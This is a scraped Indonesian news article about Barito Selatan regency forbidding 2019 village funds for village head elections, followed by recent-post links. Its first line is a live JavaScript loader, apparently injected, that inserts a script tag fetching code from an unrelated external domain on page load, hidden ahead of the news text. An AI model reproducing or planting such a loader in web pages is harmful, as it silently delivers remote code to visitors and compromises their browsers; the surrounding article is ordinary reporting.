(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dana APBDes 2019 Tidak Boleh Dipakai untuk Penyelenggaraan Pilkades


BUNTOK, Berdasarkan surat edaran dari Provinsi Kalteng, Pemkab Barsel melalui surat Edaran Sekda terhitung sejal 28 Agustus, melarang untuk dana APBDes 2019 dipakai pada pelaksanaan Pilkades serentak 2019 ini.

“Jadi terhitung sejak 28 Agustus lalu, memberitahukan dana APBdes 2019 tidak boleh dipakai lagi untuk penyelenggaraan Pilkades serentak 2019 ini,” kata Pj Sekda Barsel Syahrani kepada Kanalkalimantan.com, di kantornya Jumat (30/8).

Ia juga mengatakan, sesuai dengan Permendagri Nomor 65/2017. Serta juga Perda Barsel nomor 9/2018. Sehingga pihak Provinsi menyurati tiga kabupaten yang menggunakan APBDes dalam penyelenggaraan Pilkades termasuk Barsel. “Kita juga telah berkoordinasi dengan Badan Pemeriksa Keuangan atau BPK bahwa Pilkades serentak tidak bisa dilaksanakan apabila menggunakan APBDes,” ucap Syahrani.

Dijelaskan olehnya berdasarkan hal tersebut pihaknya telah menelegram atau menyurati Camat, Kepala Desa dan panitia Pilkades tingkat desa untuk menghentikan penyaluran dana untuk pelaksanaan Pilkades yang bersumber dari APBDes. “Mulai tanggal 28 Agustus 2019 kemarin kita telah membuat telegram untuk menghentikan penyaluran dana untuk pelaksanaan Pilkades serentak yang bersumber dari APBDes,” ujarnya.

Menurutnya, untuk anggaran bersumber dari APBDes yang sudah terlanjur digunakan tidak jadi masalah. Karena pihaknya telah menyurati agar menghentikan penyalurannya. Untuk mengantisipasi hal tersebut, lanjut dia, pihaknya mengefisien anggaran yang ada, mengusulkan anggaran untuk Pilkades di perubahan dan menggunakan dana tidak terduga.

Ia menambahkan, meski demikian tahapan pilkades tetap berjalan sebagaimana mestinya. Hanya saja apakah nanti pelaksanaannya sesuai dengan jadwal ada mengalami penundaan. “Yang pasti kita masih menunggu penganggaran di APBD perubahan nanti, apakah sesuai jadwal atau ditunda,” pungkas Syahrani.(digdo)

Reporter : Digdoo
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.